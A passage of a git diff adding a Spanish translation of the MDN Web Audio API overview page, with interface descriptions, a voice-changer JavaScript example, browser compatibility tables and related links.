+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12241/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>El tiempo es controlado con alta precisión baja latencia, permitiendo a los desarrolladores escribir código que responda con precisión a los eventos y sea capaz de apuntar a muestras específicas, incluso en una alta frecuencia de muestreo. <span id="result_box" lang="es"><span>Por lo tanto, las aplicaciones como las cajas de ritmos y los secuenciadores están a su alcance.</span></span></p>
+
+<p>El API de Audio Web también nos permite controlar cómo el audio es <em>espacializado</em>. Usando un sistema basado en un <em>modelo fuente-oyente</em>, esto permite controlar el <em>modeo de paneo</em> y que se ocupa de la <em>atenuación inducida por distancia </em>o <em>desplazamiento doppler</em> i<span class="short_text" id="result_box" lang="es"><span>nducido por una fuente en movimiento (o un oyente en movimiento).</span></span></p>
+
+<div class="note">
+<p>Puedes leear sobre la teoría del API de Audio Web con más detalle en nuestro artículo <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Conceptos Básicos detrás del API de Audio Web</a>.</p>
+</div>
+
+<h2 id="Interfaces_del_API_de_Audio_Web">Interfaces del API de Audio Web</h2>
+
+<p>La API de Audio Web tiene un número de interfaces y eventos asociados, que han sido divididos en nueve categorias de funcionalidad.</p>
+
+<h3 id="Definición_general_del_gráfico_de_audio">Definición general del gráfico de audio</h3>
+
+<p><span id="result_box" lang="es"><span>Contenedores y definiciones generales que dan forma a los gráficos de audio en el uso de Web Audio API</span></span>.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext")}}</dt>
+ <dd>La interfaz <strong><code>AudioContext</code></strong> representa un gráfico de procesamiento de audio construido de módulos de audio enlazados juntos, cada uno representado por un {{domxref("AudioNode")}}. Un contexto de audio controla la creación de los nodos que contiene y la ejecución del procesamiento del audio, or decoding. Necesitas crear un <code>AudioContext</code> antes de hacer cualquier cosa,  ya que todo pasa dentro de un contexto de audio.</dd>
+ <dt>{{domxref("AudioNode")}}</dt>
+ <dd>La interfaz <strong><code>AudioNode</code></strong><strong> </strong>representa un módulo de procesamiento de audio como una <em>fuente de audio</em> (por ejemplo un ejemplo HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}}), <em>destino de audio</em>, <em>módulo de procesamiento intermedio</em> (por ejemplo un filtro como {{domxref("BiquadFilterNode")}}, o <em>control de volumen</em> como {{domxref("GainNode")}}).</dd>
+ <dt>{{domxref("AudioParam")}}</dt>
+ <dd>La interfaz <strong><code>AudioParam</code></strong><strong> </strong>representa un parámetro relacionado al audio, como uno de un {{domxref("AudioNode")}}. Esto puede ser establecido a un valor específico o un cambio de valor, y puede ser agendado para que ocurra en un momento específico y siguiendo un patrón específico.</dd>
+ <dt>{{domxref("AudioParamMap")}}</dt>
+ <dd>Provee una interfaz como para mapear a un grupo de interfaces {{domxref("AudioParam")}}, lo que significa que proporciona los métodos <code>forEach()</code>, <code>get()</code>, <code>has()</code>, <code>keys()</code>, y <code>values()</code>, como también una propiedad <code>size</code>.</dd>
+ <dt>{{domxref("BaseAudioContext")}}</dt>
+ <dd>La interfaz <strong><code>BaseAudioContext</code></strong> actúa como una definición base para procesamiento de gráficos de audio en y fuera de línea, como lo representa {{domxref("AudioContext")}} y {{domxref("OfflineAudioContext")}} resepectivamente. No tendrás que usar <code>BaseAudioContext</code> directamente — tendrás que usar sus características a través de una de éstas dos interfaces heredadas.</dd>
+ <dt>El evento {{event("ended")}}</dt>
+ <dd>El evento <code>ended</code> es lanzado cuando la reproducción se detiene porque se alcanzó el fin del archivo de medio.</dd>
+</dl>
+
+<h3 id="Definiendo_fuentes_de_audio">Definiendo fuentes de audio</h3>
+
+<p>Las interfaces que definen fuentes de audio para usar en la API de Web.</p>
+
+<dl>
+ <dt>{{domxref("AudioScheduledSourceNode")}}</dt>
+ <dd>La interfaz <strong><code>AudioScheduledSourceNode</code></strong> es una interfaz padre para muchos tipos de interfaces de nodos de fuentes de audio. Es un {{domxref("AudioNode")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OscillatorNode")}}</dt>
+ <dd>La interfaz <strong><code style="font-size: 14px;">OscillatorNode</code></strong><strong> </strong>representa una forma de onda periódica, como una onda sinusoidal o triangular. Es un módulo de procesamiento de audio {{domxref("AudioNode")}} que causa que se cree una <em>frecuencia</em> de onda determinada.</dd>
+ <dt>{{domxref("AudioBuffer")}}</dt>
+ <dd>La interfaz <strong><code>AudioBuffer</code></strong> representa un recurso de audio corto que reside en la memoria, creado desde un archivo de audio usando el método {{ domxref("AudioContext.decodeAudioData()") }}, o creado con datos sin procesar usando {{ domxref("AudioContext.createBuffer()") }}. Una vez decodificado en esta forma, el audio puede ser colocado en un {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioBufferSourceNode")}}</dt>
+ <dd>La interfaz <strong><code>AudioBufferSourceNode</code></strong> representa una fuente de audio que consiste en una datos de audio en la memoria, almacenada en un {{domxref("AudioBuffer")}}. Es un {{domxref("AudioNode")}} que actúa como una fuente de audio.</dd>
+ <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
+ <dd>La interfaz <code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> representa una fuente de audio que consiste en un elemento {{ htmlelement("audio") }} o {{ htmlelement("video") }} de HTML5. Es un {{domxref("AudioNode")}} que actúa como una fuente de audio.</dd>
+ <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
+ <dd>La interfaz <code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> representa una fuente de audio que consiste en un {{domxref("MediaStream")}} de <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> (como una cámara web, micrófono, o una transmisión siendo enviada a una computadora remota). Es un {{domxref("AudioNode")}} que actúa como una fuente de audio.</dd>
+</dl>
+
+<h3 id="Definiendo_filtros_de_efectos_de_audio">Definiendo filtros de efectos de audio</h3>
+
+<p>Interfaces para definir efectos que quieras aplicar a tus fuentes de audio.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode")}}</dt>
+ <dd>La interfaz <strong><code>BiquadFilterNode</code></strong><strong> </strong>representa una filtro de bajo orden sencillo. Es un {{domxref("AudioNode")}} que puede representar diferentes tipos de filtros, dispositivos de control de tono, o ecualizadores gráficos. Un <code>BiquadFilterNode</code> siempre tiene exactamente una entrada y una salida.</dd>
+ <dt>{{domxref("ConvolverNode")}}</dt>
+ <dd>La interfaz <code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>es un <span style="line-height: 1.5;">{{domxref("AudioNode")}} que realiza una Convolución Lineal en un</span><span style="line-height: 1.5;"> {{domxref("AudioBuffer")}} determinado, y es usado a menudo para lograr un efecto de reverberación</span><span style="line-height: 1.5;">.</span></dd>
+ <dt>{{domxref("DelayNode")}}</dt>
+ <dd>La interfaz <strong><code>DelayNode</code></strong> representa una <a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">línea de detardo</a>; un módulo de procesamiento de audio de {{domxref("AudioNode")}} que causa un retardo entre la llegada de una entrada de datos y su propagación a la salida.</dd>
+ <dt>{{domxref("DynamicsCompressorNode")}}</dt>
+ <dd>La intefaz <strong><code>DynamicsCompressorNode</code></strong> proporciona un efecto de compresión, que reduce el volumen de las partes más ruidosas de la señal para ayudar a evitar el recorte y la distorsión que pueden ocurrir cuando se reproducen y multiplexan múltiples sonidos a la vez.</dd>
+ <dt>{{domxref("GainNode")}}</dt>
+ <dd>La intefaz <strong><code>GainNode</code></strong><strong> </strong>representa un cambio de volumen. Es un módulo de procesamiento de audio de {{domxref("AudioNode")}} que causa que una <em>ganancia</em> determinada para ser aplicada a la entrada de datos antes de su propacación a la salida.</dd>
+ <dt>{{domxref("WaveShaperNode")}}</dt>
+ <dd>La interfaz <strong><code>WaveShaperNode</code></strong><strong> </strong>representa un la interfaz representa un distorsionador no lineal. Es un {{domxref("AudioNode")}} que usa una curva para aplicar una distorsión en forma de onda a la señal. Además de los obvios efectos de distorsión, a menudo se usa para agregar una sensación cálida a la señal.</dd>
+ <dt>{{domxref("PeriodicWave")}}</dt>
+ <dd>Describe una forma de onda periódica que puede ser usada para dar forma a la salida de un {{ domxref("OscillatorNode") }}.</dd>
+ <dt>{{domxref("IIRFilterNode")}}</dt>
+ <dd>Implementa un filtro de <strong><a class="external external-icon" href="https://en.wikipedia.org/wiki/infinite%20impulse%20response" title="infinite impulse response">respuesta de pulso infinito</a></strong> (IIR) general; este tipo de filtro se puede usar para implementar dispositivos de control de tono y ecualizadores gráficos también.</dd>
+</dl>
+
+<h3 id="Definición_de_destinos_de_audio">Definición de destinos de audio</h3>
+
+<p>Una vez que haya terminado de procesar su audio, estas interfaces definen dónde emitirlo.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode")}}</dt>
+ <dd>La interfaz <strong><code>AudioDestinationNode</code></strong> representa el destino final de una fuente de audio en contexto determinado — usualmente los altavoces de tu dispositivo.</dd>
+ <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
+ <dd>La interfaz <code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> representa un destino de audio que consiste en un {{domxref("MediaStream")}} de <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> con un <code>AudioMediaStreamTrack</code> sencillo, que puede ser usado de una manera similiar a un {{domxref("MediaStream")}} obtenido desde {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}. Es un {{domxref("AudioNode")}} que actúa como un destino de audio.</dd>
+</dl>
+
+<h3 id="Análisis_y_visualización_de_datos">Análisis y visualización de datos</h3>
+
+<p>Si quieres extraer el tiempo, frecuencia, y otros datos de tu audio, <code>AnalyserNode</code> es lo que necesitas.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode")}}</dt>
+ <dd>La interfaz <strong><code>AnalyserNode</code></strong> representa un nodo capáz de proveer la frecuencia en tiempo real y la información del análisis del dominio de tiempo, para propósitos de análisis y visualización de datos.</dd>
+</dl>
+
+<h3 id="División_y_fusión_de_canales_de_audio">División y fusión de canales de audio</h3>
+
+<p>Para dividir y fusionar canales de audio, deberás usar estas interfaces.</p>
+
+<dl>
+ <dt>{{domxref("ChannelSplitterNode")}}</dt>
+ <dd>La interfaz <code><strong>ChannelSplitterNode</strong></code> separa los diferentes canales de una fuente de audio enn un conjunto de salidas <em>mono</em>.</dd>
+ <dt>{{domxref("ChannelMergerNode")}}</dt>
+ <dd>La interfaz <code><strong>ChannelMergerNode</strong></code> reune las diferentes salidas mono en una sola salida. Cada entrada deberá ser usada para llenar un canal de la salida.</dd>
+</dl>
+
+<h3 id="Espacialización_de_audio">Espacialización de audio</h3>
+
+<p>Estas interfaces te permiten agregar efectos de paneo de especialización de audio a tus fuentes de audio.</p>
+
+<dl>
+ <dt>{{domxref("AudioListener")}}</dt>
+ <dd>La interfaz <strong><code>AudioListener</code></strong><strong> </strong>representa la posición y orientación de la única persona escuchando la escena de audio usada en la espacialización de audio.</dd>
+ <dt>{{domxref("PannerNode")}}</dt>
+ <dd>La interfaz <code><strong>PannerNode</strong></code> representa la posición y comportamiento de una señal de fuente de audio en un espacio 3D, permitiéndote crear efectos de paneo complejos.</dd>
+ <dt>{{domxref("StereoPannerNode")}}</dt>
+ <dd>La interfaz <code><strong>StereoPannerNode</strong></code> representa un nodo de panner estéreo simple que se puede usar para panoramizar un flujo de audio hacia la izquierda o hacia la derecha.</dd>
+</dl>
+
+<h3 id="Proccesamiento_de_audio_en_JavaScript">Proccesamiento de audio en JavaScript</h3>
+
+<p>Usando worklets de audio (pequeñas tareas), puedes definir nodos personalizados de audio escritos en JavaScript o <a href="/en-US/docs/WebAssembly">WebAssembly</a>. Los worklets de audios implementan la interfaz {{domxref("Worklet")}}, una versión ligera de la interfaz {{domxref("Worker")}}. A partir del enero de 2018, los worklets de audio están disponibles en Chrome 64 detrás de un identificador.</p>
+
+<dl>
+ <dt>{{domxref("AudioWorklet")}} {{experimental_inline}}</dt>
+ <dd>La interfaz <code>AudioWorklet</code> está disponible a través de {{domxref("BaseAudioContext.audioWorklet")}} y te permite agregar nuevos móduloss al worklet de audio.</dd>
+ <dt>{{domxref("AudioWorkletNode")}} {{experimental_inline}}</dt>
+ <dd>La intefaz <code>AudioWorkletNode</code> representa un {{domxref("AudioNode")}} que está insertada en un gráfico de audio y puede pasar mensajes a la <code>AudioWorkletProcessor</code>.</dd>
+ <dt>{{domxref("AudioWorkletProcessor")}} {{experimental_inline}}</dt>
+ <dd>La interfaz <code>AudioWorkletProcessor</code> representa código de procesamiento de audio que se ejecuta en un <code>AudioWorkletGlobalScope</code> que genera, procesa, o analiza audio directamente, y puede pasar mensajes al <code>AudioWorkletNode</code>.</dd>
+ <dt>{{domxref("AudioWorkletGlobalScope")}} {{experimental_inline}}</dt>
+ <dd>La interfaz <code>AudioWorkletGlobalScope</code> es un objeto derivado de <code>WorkletGlobalScope</code> que representa un contexto del worker en el que se ejecuta un script de procesamiento de audio; está diseñado para permitir la generación, procesamiento, y análisis de datos de audio directamente usando JavaScript en un hilo worklet.</dd>
+</dl>
+
+<p>Antes de que se definieran los worklets de audio, la API de Web Audio usó  <code>ScriptProcessorNode</code> {{deprecated_inline}} para procesamiento de audio basado en JavaScript. Como el código se ejecuta en el hilo principal, tuvo un mal rendimiento. <code>ScriptProcessorNode</code> se mantiene por razones históricas pero está marcada como obsoleta y será removida en una versión futura de la especificación.</p>
+
+<dl>
+ <dt>{{domxref("ScriptProcessorNode")}} {{deprecated_inline}}</dt>
+ <dd>La interfaz <strong><code>ScriptProcessorNode</code></strong><strong> </strong>permite la generación, procesamiento, o análisis de audio usando JavaScript. Es un módulo de procesamiento de audio {{domxref("AudioNode")}} que está enlazado a dos buffers, uno conteniendo la actual entrada, uno conteniendo la salida. Un evento, implementando la interfaz {{domxref("AudioProcessingEvent")}}, es enviado al objeto cada vez que el buffer de entrada contiene nuevos datos, y el manejador del evento termina cuando ha llenado el buffer de salida con datos.</dd>
+ <dt>{{event("audioprocess")}} (event) {{deprecated_inline}}</dt>
+ <dd>El evento <code>audioprocess</code> es lanzado cuando un buffer de entrada de un {{domxref("ScriptProcessorNode")}} del API del Audio Web está listo para ser procesado.</dd>
+ <dt>{{domxref("AudioProcessingEvent")}} {{deprecated_inline}}</dt>
+ <dd>El evento <code>AudioProcessingEvent</code> del <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">API de Audio Web</a> representa los eventos que ocurren cuando un buffer de entrada {{domxref("ScriptProcessorNode")}} está listo para ser procesado.</dd>
+</dl>
+
+<h3 id="Procesamiento_de_audio_offlineen_segundo_plano">Procesamiento de audio offline/en segundo plano</h3>
+
+<p>Es posible procesar/renderizar un gráfico de muy rápidamente en segundo plano — renderizándolo en un {{domxref("AudioBuffer")}} en lugar de hacerlo a los altavoces del equipo — con lo siguiente.</p>
+
+<dl>
+ <dt>{{domxref("OfflineAudioContext")}}</dt>
+ <dd>La interfaz <strong><code>OfflineAudioContext</code></strong> es una interfaz {{domxref("AudioContext")}} representando un gráfico de procesamiento de audio construido a partir de varios {{domxref("AudioNode")}} enlazados juntos. En contraste con un <code>AudioContext</code> estándar, un <code>OfflineAudioContext</code> realmente no procesa el audio sino que lo genera, <em>lo más rápido que puede</em>, en un buffer.</dd>
+ <dt>{{event("complete")}} (event)</dt>
+ <dd>El evento <code>complete</code> es lanzado cuando el renderizado de un {{domxref("OfflineAudioContext")}} está terminado.</dd>
+ <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
+ <dd>La interfaz <code>OfflineAudioCompletionEvent</code> representa los eventos que ocurren cuando procesamiento de un {{domxref("OfflineAudioContext")}} is terminado. El evento {{event("complete")}} implementa esta interfaz.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Interfaces obsoletas</h2>
+
+<p>Las siguientes interfaces fueron definidas en versiones antiguas de la especificación del API de Audio Web, pero ahora están obsoletas y han sido reemplazadas por otras interfaces.</p>
+
+<dl>
+ <dt>{{domxref("JavaScriptNode")}}</dt>
+ <dd>Usada para dirigir procesamiento de audio a través de JavaScript. Esta interfaz está obsoleta, y ha sido reemplazada por {{domxref("ScriptProcessorNode")}}.</dd>
+ <dt>{{domxref("WaveTableNode")}}</dt>
+ <dd>Usada para definir una forma de onda periórica. Esta interfaz está obsoleta, y ha sido reemplazada por {{domxref("PeriodicWave")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Este ejemplo muestra una amplia variedad de funciones del API de Audio Web siendo usadas. Puedes ver este código en acción en la demostración de <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> (también revisa el <a href="https://github.com/mdn/voice-change-o-matic">código completo en Github</a>) — este es un demo experimental de juguete cambiador de voz; manten tus parlantes en bajo volumen cuando lo uses ¡Al menos al comenzar!</p>
+
+<p>Las líneas del API de Audio Web están resaltadas; si quieres saber más sobre lo que hacen los diferentes métodos, etc., busca en las páginas de referencia.</p>
+
+<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151]">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // definir contexto de audio
+// los navegadores Webkit/blink necesitan prefijo, Safari no funcionará sin window.
+
+var voiceSelect = document.getElementById("voice"); // caja de selección para la selección de opciones de efectos de voz
+var visualSelect = document.getElementById("visual"); // caja<span id="result_box" lang="es"><span class="alt-edited"> de selección para la selección de opciones de visualización de audio</span></span>
+var mute = document.querySelector('.mute'); // botón de silencio
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // función para hacer que la forma de curva para distorsión / nodo modificador de onda para usar
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // restricciones - solo el audio es necesario para esta aplicación
+  {
+    audio: true
+  },
+
+  // Retrollamada de éxito
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // conectando los diferentes nodos de grafo de audio juntos
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Retrollamada de error
+  function(err) {
+    console.log('Se produjo el siguiente error gUM: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // la mitad del valor de FFT
+    var dataArray = new Uint8Array(bufferLength); // crear una matriz para almacenar los datos
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // obtener datos de forma de onda y ponerlo en la matriz creada arriba
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // dibujar onda con canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // restablecer los efectos cada vez que se ejecuta la función VoiceChange
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // aplicar distorsión al sonido usando el nodo waveshaper
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // aplicar el filtro lowshelf a los sonidos usando biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // no hacer nada, ya que se eligió la opción de apagado
+  }
+
+}
+
+// oyentes de eventos para cambiar la visualización y la configuración de voz
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // alternar para silenciar y activar el sonido
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // ganancia establecida en 0 para silenciar el sonido
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // ganancia establecida en 1 para activar el sonido
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="También_ver">También ver</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Usando el API de Audio Web</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizaciones con el API de Audio Web</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Bases de la espacialización de audio Web</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ <li><a href="https://github.com/bit101/tones">Tonos</a>: Una sencilla librería para reproducción de tonos/notas específicas usando el API de Audio Web.</li>
+ <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
+ <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
+ <li><a class="external external-icon" href="https://github.com/chrisjohndigital/OpenLang">OpenLang</a>: HTML5 video language lab web application using the Web Audio API to record and combine video and audio from different sources into a single file (<a class="external external-icon" href="https://github.com/chrisjohndigital/OpenLang">source on GitHub</a>)</li>
+</ul>
+
+<h3 id="Enlaces_rápidos">Enlaces rápidos</h3>
+
+<ol>
+ <li><strong>Guíass</strong>
+
+  <ol>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Conceptos básicos detrás del API de Audio Web</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Usando el API de Audio Web</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizaciones con el API de Audio Web</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Bases de la espacialización de audio Web</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Portando código de webkitAudioContext a estándares basados en AudioContext</a></li>
+  </ol>
+ </li>
+ <li><strong>Ejemplos</strong>
+  <ol>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Simple_synth">Teclado sintetizador sencillo</a></li>
+   <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
+   <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
+  </ol>
+ </li>
+ <li><strong>Interfaces</strong>
+  <ol>
+   <li>{{domxref("AnalyserNode")}}</li>
+   <li>{{domxref("AudioBuffer")}}</li>
+   <li>{{domxref("AudioScheduledSourceNode")}}</li>
+   <li>{{domxref("AudioBufferSourceNode")}}</li>
+   <li>{{domxref("AudioContext")}}</li>
+   <li>{{domxref("AudioDestinationNode")}}</li>
+   <li>{{domxref("AudioListener")}}</li>
+   <li>{{domxref("AudioNode")}}</li>
+   <li>{{domxref("AudioParam")}}</li>
+   <li>{{event("audioprocess")}} (event)</li>
+   <li>{{domxref("AudioProcessingEvent")}}</li>
+   <li>{{domxref("BiquadFilterNode")}}</li>
+   <li>{{domxref("ChannelMergerNode")}}</li>
+   <li>{{domxref("ChannelSplitterNode")}}</li>
+   <li>{{event("complete")}} (event)</li>
+   <li>{{domxref("ConvolverNode")}}</li>
+   <li>{{domxref("DelayNode")}}</li>
+   <li>{{domxref("DynamicsCompressorNode")}}</li>
+   <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+   <li>{{domxref("GainNode")}}</li>
+   <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+   <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+   <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+   <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+   <li>{{domxref("OfflineAudioContext")}}</li>
+   <li>{{domxref("OscillatorNode")}}</li>
+   <li>{{domxref("PannerNode")}}</li>
+   <li>{{domxref("PeriodicWave")}}</li>
+   <li>{{domxref("ScriptProcessorNode")}}</li>
+   <li>{{domxref("WaveShaperNode")}}</li>
+  </ol>
+ </li>
+</ol>
diff --git a/files/es/web_development/mobile/diseño_responsivo/index.html b/files/es/web_development/mobile/diseño_responsivo/index.html
new file mode 100644
index 0000000000..ec966ef76b
--- /dev/null
+++ b/files/es/web_development/mobile/diseño_responsivo/index.html
@@ -0,0 +1,44 @@
+---
+title: Diseño adaptable («responsivo»)
+slug: Web_Development/Mobile/Diseño_responsivo
+translation_of: Web/Progressive_web_apps
+---
